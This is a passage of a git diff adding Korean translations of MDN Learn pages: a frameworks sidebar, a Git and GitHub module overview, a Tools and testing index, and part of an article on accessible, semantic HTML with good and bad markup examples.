+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li>
+  </ul>
+ </li>
+ <li>Ember
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li>
+  </ul>
+ </li>
+ <li>Vue
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li>
+  </ul>
+ </li>
+ <li>Svelte
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/learn/tools_and_testing/github/index.html b/files/ko/learn/tools_and_testing/github/index.html
new file mode 100644
index 0000000000..cbae0f0cc3
--- /dev/null
+++ b/files/ko/learn/tools_and_testing/github/index.html
@@ -0,0 +1,82 @@
+---
+title: Git and GitHub
+slug: Learn/Tools_and_testing/GitHub
+tags:
+  - GitHub
+  - git
+  - 깃허브
+translation_of: Learn/Tools_and_testing/GitHub
+---
+<div>{{LearnSidebar}}{{draft}}</div>
+
+<p class="summary">모든 개발자는 <strong>버전 관리 시스템 </strong>(<strong>VCS</strong>)을 사용하거나 앞으로 그럴 것이다. VCS는 다른 개발자와의 협업 시 코드 중복작성으로 인한 손실을 방지해 주고, 문재가 생겼을 시 이전 버전으로의 롤백을 쉽게 해준다. 가장 유명한 VCS는 Git와 그와 관련된 소셜 코딩 사이트, GitHub이다. 이 글은 이 두가지에 대해 설명할 것이다.</p>
+
+<h2 id="개요">개요</h2>
+
+<p>VCS는 소프트웨어 개발을 할 때 필수적이다.</p>
+
+<ul>
+ <li>프로젝트를 완전히 직접 수행하는 일은 드물며 다른 사람들과 작업을 시작하자마자 서로의 작업과 충돌할 위험이 있다. 대표적인 예시가 두 사람이 같은 부분을 업데이트하려고 할 때이다. 동시에 코드의. 발생을 관리하고 결과적으로 작업 손실을 피할 수있는 메커니즘이 필요하다.</li>
+ <li>혼자 또는 다른 사람들과 함께 프로젝트를 수행 할 때 중앙 위치에 코드를 백업 할 수 있기 때문에 컴퓨터가 고장 나더라도 코드가 손실되지 않는다.</li>
+ <li>추후에 문제가 발견될 경우, 이전 버전을 찾게 될 수 있다. 우리는 이미 같은 파일의 다른 버전들을 생성함으로써 우리는 버전 컨트롤을 하고 있었을지도 모른다. 예를 들어, <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code>, 등 이런식으로 말이다. 그러나 이런 방식은 에러에 취약하며 신뢰성이 떨어진다.</li>
+ <li>Different team members will commonly want to create their own separate versions of the code (called <strong>branches</strong> in Git), work on a new feature in that version, and then get it merged in a controlled manner (in GitHub we use <strong>pull requests</strong>) with the master version when they are done with it.</li>
+</ul>
+
+<p>VCSes provide tools to meet the above needs. <a href="https://git-scm.com/">Git</a> is an example of a VCS, and <a href="https://github.com/">GitHub</a> is a web site + infrastructure that provides a Git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Git is actually a <em>distributed</em> version control system, meaning that a complete copy of the repository containing the codebase is made on your computer (and everyone else's). You make changes to your own copy, and then push those changes back up to the server, where an administrator will decide whether to merge your changes with the master copy.</p>
+</div>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>Git와 GitHub를 사용하려면, 다음과 같은 사양이 요구된다:</p>
+
+<ul>
+ <li>Git가 설치된 데스크탑 컴퓨터(<a href="https://git-scm.com/downloads">Git 설치 페이지</a>를 참고하라).</li>
+ <li>Git을 사용할 도구. 당신이 어떻게 일하고 싶은지에 따라 취향에 맞게 <a href="https://git-scm.com/downloads/guis/">Git GUI client</a> (GitHub Desktop, SourceTree, Git Kraken을 추천합니다) 와 터미널 중에 고르실 수 있습니다. GUI를 사용하더라도 기본적인 git 터미널 명령어들을 숙지하고 있다면 더 큰 도움이 될 것입니다.</li>
+ <li><a href="https://github.com/join">GitHub 계정</a>. 만일 계정이 없다면, 이 링크에서 계정을 만들 수 있다.</li>
+</ul>
+
+<p>이 모듈에 필요한 전제 지식과 관련해서 웹개발, Git/Github, VCS에 관한 지식은 없어도 시작할 수 있다. 그러나 어느정도의 컴퓨터 소양과 코딩 능력이 뒷바침되면 repository에 코드를 저장해 놓을 수 있으므로 코딩 지식이 있으면 좋다.</p>
+
+<p>코딩 지식과 더불어 기초적인 용어에 대한 지식이 있으면 좋다. 예를 들어, 디렉토리를 이동하거나 파일생성, 그리고 시스템 <code>PATH</code>를 변경시키는것과 같은 기본적인 용어에 대한 지식이 있는 것이 추천된다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Github is not the only site/toolset you can use with Git. There are other alternatives such as <a href="https://about.gitlab.com/">GitLab</a> that you could try, and you could also try setting your own Git server up and using it instead of GitHub. We've only stuck with GitHub in this course to provide a single way that works.</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<p>아래 링크들은 모두 외부 사이트로 연결된다. Mozilla는 Mozilla만의 독자적인 Git/Github 과정을 만드는 것을 목표로 하고 있으나 당장은 아래에 있는 항목들이 Github을 직접 해볼 수 있도록 도와줄 것이다.</p>
+
+<dl>
+ <dt><a href="https://guides.github.com/activities/hello-world/">Hello World (from GitHub)</a></dt>
+ <dd>This is a good place to start — this practical guide gets you to jump right into using GitHub, learning the basics of Git such as creating repositories and branches, making commits, and opening and merging pull requests.</dd>
+ <dt><a href="https://guides.github.com/introduction/git-handbook/">Git Handbook (from GitHub)</a></dt>
+ <dd>This Git Handbook goes into a little more depth, explaining what a VCS is, what a repository is, how the basic GitHub model works, Git commands and examples, and more.</dd>
+ <dt><a href="https://guides.github.com/activities/forking/">Forking Projects (from GitHub)</a></dt>
+ <dd>Forking projects is essential when you want to contribute to someone else's code. This guide explains how.</dd>
+ <dt><a href="https://help.github.com/en/articles/about-pull-requests">About Pull Requests (from GitHub)</a></dt>
+ <dd>A useful guide to managing pull requests, the way that your suggested code changes are delivered to people's repositories for consideration.</dd>
+ <dt><a href="https://guides.github.com/features/issues/">Mastering issues (from GitHub)</a></dt>
+ <dd>Issues are like a forum for your GitHub project, where people can ask questions and report problems, and you can manage updates (for example assigning people to fix issues, clarifying the issue, letting people know things are fixed). This articles gives you what you need to know about issues.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: There is <strong>a lot more</strong> that you can do with Git and GitHub, but we feel that the above represents the minimum you need to know to start using Git effectively. As you get deeper into Git, you'll start to realise that it is easy to go wrong when you start using more complicated commands. Don't worry, even professional web developers find Git confusing sometimes, and often solve problems by searching for solutions on the web, or consulting sites like <a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git</a> and<a href="https://dangitgit.com/"> Dangit, git!</a></p>
+</div>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="https://guides.github.com/introduction/flow/">Understanding the GitHub flow</a></li>
+ <li><a href="https://git-scm.com/docs">Git command list</a></li>
+ <li><a href="https://guides.github.com/features/mastering-markdown/">Mastering markdown</a> (the text format you write in on PR, issue comments, and <code>.md</code> files).</li>
+ <li><a href="https://guides.github.com/features/pages/">Getting Started with GitHub Pages</a> (how to publish demos and websites on GitHub).</li>
+ <li><a href="https://learngitbranching.js.org/">Learn Git branching</a></li>
+ <li><a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git</a> (a very useful compendium of ways to achieve specific things in Git, including how to correct things when you went wrong).</li>
+ <li>
+  <p><a href="https://dangitgit.com/">Dangit, git!</a> (another useful compendium, specifically of ways to correct things when you went wrong).</p>
+ </li>
+</ul>
diff --git a/files/ko/learn/tools_and_testing/index.html b/files/ko/learn/tools_and_testing/index.html
new file mode 100644
index 0000000000..bbb3cb90ef
--- /dev/null
+++ b/files/ko/learn/tools_and_testing/index.html
@@ -0,0 +1,31 @@
+---
+title: Tools and testing
+slug: Learn/Tools_and_testing
+translation_of: Learn/Tools_and_testing
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">HTML, CSS, 자바스크립트와 같은 핵심 웹 기술들에 익숙해지고, 다양한 경험을 쌓고, 다양한 자원을 활용하고, 새로운 팁과 방법들을 배우면서, 여러분은 여러 종류의 도구들을 활용할 수 있게 될 겁니다. 미리 작성된 CSS 또는 자바스크립트 코드부터, 앱 테스트와 자동화 등. 여러분의 웹 프로젝트가 점점 커지고 복잡해지면 여러분은 이런 도구들과 신뢰성 있는 테스트를 필요로 할 것입니다. 이 파트에서는 이러한 도구들을 쓰거나 선택하기 위해 무엇을 알아야 하는지 알려줍니다.</p>
+
+<p>웹 산업은 복잡하기에 아름답습니다. 우리가 웹 사이트를 만드는데 쓰는 핵심 기술들은 상당히 안정적이지만, 이런 기술들에 기반하여 더욱 개발을 편리하게 해 주는 새로운 기능과 도구들이 계속해서 생겨나고 있습니다. 거기다 웹 표준, 크로스 브라우저 지원, 모바일 호환 및 장애인들을 위한 접근성까지도 신경써야 합니다.</p>
+
+<p>Working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Because new tools appear and old ones go out of fashion all the time, we have deliberately written this material to be as neutral as possible — we want to focus first and foremost on the general types of tasks these tools will help you accomplish, and keep prescribing specific tools to a minimum. We obviously need to show tool usage to demonstrate specific techniques, but be clear that we do not necessarily recommend these tools as the best or only way to do things — in most cases there are other ways, but we want to provide you with a clear methodology that works.</p>
+</div>
+
+<h2 id="Learning_pathway">Learning pathway</h2>
+
+<p>You should really learn the basics of the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages first before attempting to use the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, or making effective use of JavaScript libraries, or writing tests and running them against your code using test runners, etc.</p>
+
+<p>You need a solid foundation first.</p>
+
+<h2 id="Modules">Modules</h2>
+
+<dl>
+ <dt>Real world web development tools (TBD)</dt>
+ <dd>In this module, we explore the different kinds of web development tools available. This includes reviewing the most common kinds of tasks you may be called on to solve, how they can fit together in a workflow, and the best tools currently avaiable for carrying out those tasks.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Cross browser testing</a></dt>
+ <dd>This module looks specifically at the area of testing web projects across different browsers. Here we look identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.</dd>
+</dl>
diff --git a/files/ko/learn/web_기술/index.html b/files/ko/learn/web_기술/index.html
new file mode 100644
index 0000000000..7a3621b92e
--- /dev/null
+++ b/files/ko/learn/web_기술/index.html
@@ -0,0 +1,23 @@
+---
+title: Web 기술
+slug: Learn/Web_기술
+tags:
+  - Beginner
+  - WebMechanics
+translation_of: Learn/Common_questions
+---
+<p><span style="line-height: 1.5;">이것은 여러분이 웹 생태계를 이해할 수 있도록 충분히 설명해줍니다. 저희는 여러분이 필요한 정보를 작고, 세분화된 기술로 나누었습니다.</span></p>
+
+<p>{{NoteStart}}<em>Web 기술 </em>은 웹 생태계의 기술적인 측명이 아니라, <a href="/en-US/docs/Learn/skills/Infrastructure"><em>Infrastructure </em></a>범위의 기능에 집중합니다.{{NoteEnd}}</p>
+
+<h2 id="기본_스킬">기본 스킬</h2>
+
+<p>만약 웹이 익숙하지 않다면 여기서 시작하세요. 웹 용어의 이해를 돕기 위한 우리의 <a href="/en-US/docs/Glossary" style="line-height: 1.5;">glossary</a> 에 의지하는것도 제안합니다.</p>
+
+<h2 id="중급_스킬">중급 스킬</h2>
+
+<p>일단 웹이 익숙해지셨다면, 여러분이 탐구할 몇 가지 세부적인 것이 여기 있습니다:</p>
+
+<h2 id="고급_스킬">고급 스킬</h2>
+
+<p>만약 웹 제작을 경험해보셨다면, 여러분은 몇 가지 특수하거나 일반적이지 않은 기술들에 흥미를 가지실 것입니다.</p>
diff --git a/files/ko/learn/접근성/html/index.html b/files/ko/learn/접근성/html/index.html
new file mode 100644
index 0000000000..dae842fc92
--- /dev/null
+++ b/files/ko/learn/접근성/html/index.html
@@ -0,0 +1,537 @@
+---
+title: 'HTML: 접근성을 위한 기초'
+slug: Learn/접근성/HTML
+tags:
+  - HTML
+  - HTML 접근성
+  - 스크린리더
+  - 시멘틱
+  - 시멘틱 웹
+  - 시멘틱웹
+  - 웹 접근성
+  - 접근성 향상
+translation_of: Learn/Accessibility/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div>
+
+<p class="summary">HTML 요소가 늘 올바른 목적을 가지고 쓰이는지 확인하는 것만으로도, 수많은 웹 콘텐츠는 접근성이 향상됩니다. 이 문서에는 접근성을 최대한으로 보장하기 위해 HTML을 어떻게 사용해야 하는지 자세히 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Basic computer literacy, a basic understanding of HTML (see <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), and understanding of <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">what accessibility is</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To gain familiarity with what features of HTML have accessibility benefits, and how to use them appropriately in your web documents.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML과_접근성">HTML과 접근성</h2>
+
+<p> </p>
+
+<p>HTML에 대해 더 많은 자료와 예제를 접하고, 더 많이 배우면 배울수록 당신은 의미론적 HTML(시멘틱 HTML, POSH 또는 Plain Old Semantic HTML라고 부르기도 합니다)을 사용하는 것이 중요하다는 공통 주제를 계속해서 접하게 될 것입니다. 이것은 가능한 올바른 목적으로 올바른 HTML 요소를 사용하는 것을 의미합니다.</p>
+
+<p>당신은 아마 이것이 왜 중요한지 의문을 가질 수 있을 것입니다. 당신은 CSS와 JavaScript 조합을 사용해 원하는 방식으로 HTML 요소들을 동작시킬 수 있기 때문입니다. 예를 들어 사이트에서 동영상을 제어하기 위한 버튼을 당신은 이렇게 마크업 할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;div&gt;Play video&lt;/div&gt;</pre>
+
+<p>그러나 당신이 나중에 더 자세하게 배울수록, 작업에 올바른 HTML 요소를 사용하는 것이 많은 의미를 내포하고 있음을 깨닫게 될 것입니다.</p>
+
+<pre class="brush: html">&lt;button&gt;Play video&lt;/button&gt;</pre>
+
+<p>Not only do HTML <code>&lt;button&gt;</code>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — they can be tabbed between, and activated using Return/Enter.</p>
+
+<p>Semantic HTML doesn't take longer to write than non-semantic (bad) markup if you do it consistently from the start of your project, and it also has other benefits beyond accessibility:</p>
+
+<ol>
+ <li><strong>Easier to develop with</strong> — as mentioned above, you get some functionality for free, plus it is arguably easier to understand.</li>
+ <li><strong>Better on mobile</strong> — semantic HTML is arguably lighter in file size than non-semantic spaghetti code, and easier to make responsive.</li>
+ <li><strong>Good for SEO</strong> — search engines give more importance to keywords inside headings, links, etc., than keywords included in non-semantic <code>&lt;div&gt;</code>s, etc., so your documents will be more findable by customers.</li>
+</ol>
+
+<p>Let's get on and look at accessible HTML in more detail.</p>
+
+<div class="note">
+<p><strong>Note</strong>: It is a good idea to have a screenreader set up on your local computer, so you can do some testing of the examples shown below. See our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Screenreaders guide</a> for more details.</p>
+</div>
+
+<h2 id="Good_semantics">Good semantics</h2>
+
+<p>We've already talked about the importance of good semantics, and why we should use the right HTML element for the right job. This cannot be ignored, as it is one of the main places that accessibility is badly broken if not handled properly.</p>
+
+<p>Out there on the web, the truth is that people do some very strange things with HTML markup. Some abuses of HTML are due to legacy practices that have not been completely forgotten, and some are just plain ignorance. Whatever the case, you should replace such bad code wherever you see it, whenever you can.</p>
+
+<p>Sometimes you are not always in the position to get rid of bad markup — your pages might be generated by some kind of server-side framework that you don't have full control over, or you might have third party content on your page (such as ad banners) that you don't have control over.</p>
+
+<p>The goal isn't "all or nothing", however — every improvement you are able to make will help the cause of accessibility.</p>
+
+<h3 id="Text_content">Text content</h3>
+
+<p>One of the best accessibility aids a screenreader user can have is a good content structure of headings, paragraphs, lists, etc. A good semantic example might look something like the following:</p>
+
+<pre class="brush: html example-good line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>My heading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the first section of my document.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>I'll add another paragraph here too.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;
+
+&lt;ol&gt;
+  &lt;li&gt;Here is&lt;/li&gt;
+  &lt;li&gt;a list for&lt;/li&gt;
+  &lt;li&gt;you to read&lt;/li&gt;
+&lt;/ol&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>My subheading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the first subsection of my document. I'd love people to be able to find this content!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>My 2nd subheading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the second subsection of my content. I think is more interesting than the last one.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>We've prepared a version with longer text for you to try out with a screenreader (see <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>). If you try navigating through this, you'll see that this is pretty easy to navigate:</p>
+
+<ol>
+ <li>The screenreader reads each header out as you progress through the content, notifying you what is a heading, what is a paragraph, etc.</li>
+ <li>It stops after each element, letting you go at whatever pace is comfortable for you.</li>
+ <li>You can jump to next/previous heading in many screenreaders.</li>
+ <li>You can also bring up a list of all headings in many screenreaders, allowing you to use them like a handy table of contents to find specific content.</li>
+</ol>
+
+<p>People sometimes write headings, paragraphs, etc. using presentational HTML and line breaks, something like the following:</p>
+
+<pre class="brush: html example-bad line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>7<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>My heading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+This is the first section of my document.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+I'll add another paragraph here too.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+1. Here is
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+2. a list for
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;
+3. you to read
+</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>My subheading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>My 2nd subheading<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span><span class="punctuation token">&gt;</span></span>
+This is the second subsection of my content. I think is more interesting than the last one.</code></pre>
+
+<p>If you try our longer version out with a screenreader (see <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>), you'll not have a very good experience — the screenreader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once.</p>
+
+<p>There are other issues too beyond accessibility — it is harder to style the content using CSS, or manipulate it with JavaScript for example, because there are no elements to use as selectors.</p>
+
+<h4 id="Using_clear_language">Using clear language</h4>
+
+<p>The language you use can also affect accessibility. In general you should use clear language that is not overly complex, and doesn't use unnecessary jargon or slang terms. This not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone in fact! Apart from this, you should try to avoid using language and characters that don't get read out clearly by the screenreader. For example:</p>
+
+<ul>
+ <li>Don't use dashes if you can avoid it. Instead of writing 5–7, write 5 to 7.</li>
+ <li>Expand abbreviations — instead of writing Jan, write January.</li>
+ <li>Expand acronyms, at least once or twice. Instead of writing HTML in the first instance, write Hypertext Markup Language.</li>
+</ul>
+
+<h3 id="Page_layouts">Page layouts</h3>
+
+<p>In the bad old days, people used to create page layouts using HTML tables — using different table cells to contain the header, footer, side bar, main content column, etc. This is not a good idea because a screenreader will likely give out confusing readouts, especially if the layout is complex and has many nested tables.</p>
+
+<p>Try our example <a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">table-layout.html</a> example, which looks something like this:</p>
+
+<pre class="brush: html">&lt;table width="1200"&gt;
+      &lt;!-- main heading row --&gt;
+      &lt;tr id="heading"&gt;
+        &lt;td colspan="6"&gt;
+
+          &lt;h1 align="center"&gt;Header&lt;/h1&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- nav menu row  --&gt;
+      &lt;tr id="nav" bgcolor="#ffffff"&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Home&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Our team&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Projects&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="200"&gt;
+          &lt;a href="#" align="center"&gt;Contact&lt;/a&gt;
+        &lt;/td&gt;
+        &lt;td width="300"&gt;
+          &lt;form width="300"&gt;
+            &lt;input type="search" name="q" placeholder="Search query" width="300"&gt;
+          &lt;/form&gt;
+        &lt;/td&gt;
+        &lt;td width="100"&gt;
+          &lt;button width="100"&gt;Go!&lt;/button&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- main content and aside row --&gt;
+      &lt;tr id="main"&gt;
+        &lt;td id="content" colspan="4" bgcolor="#ffffff"&gt;
+
+          &lt;!-- main content goes here --&gt;
+        &lt;/td&gt;
+        &lt;td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"&gt;
+          &lt;h2&gt;Related&lt;/h2&gt;
+
+          &lt;!-- aside content goes here --&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- footer row --&gt;
+      &lt;tr id="footer" bgcolor="#ffffff"&gt;
+        &lt;td colspan="6"&gt;
+          &lt;p&gt;©Copyright 2050 by nobody. All rights reversed.&lt;/p&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+    &lt;/table&gt;</pre>
+
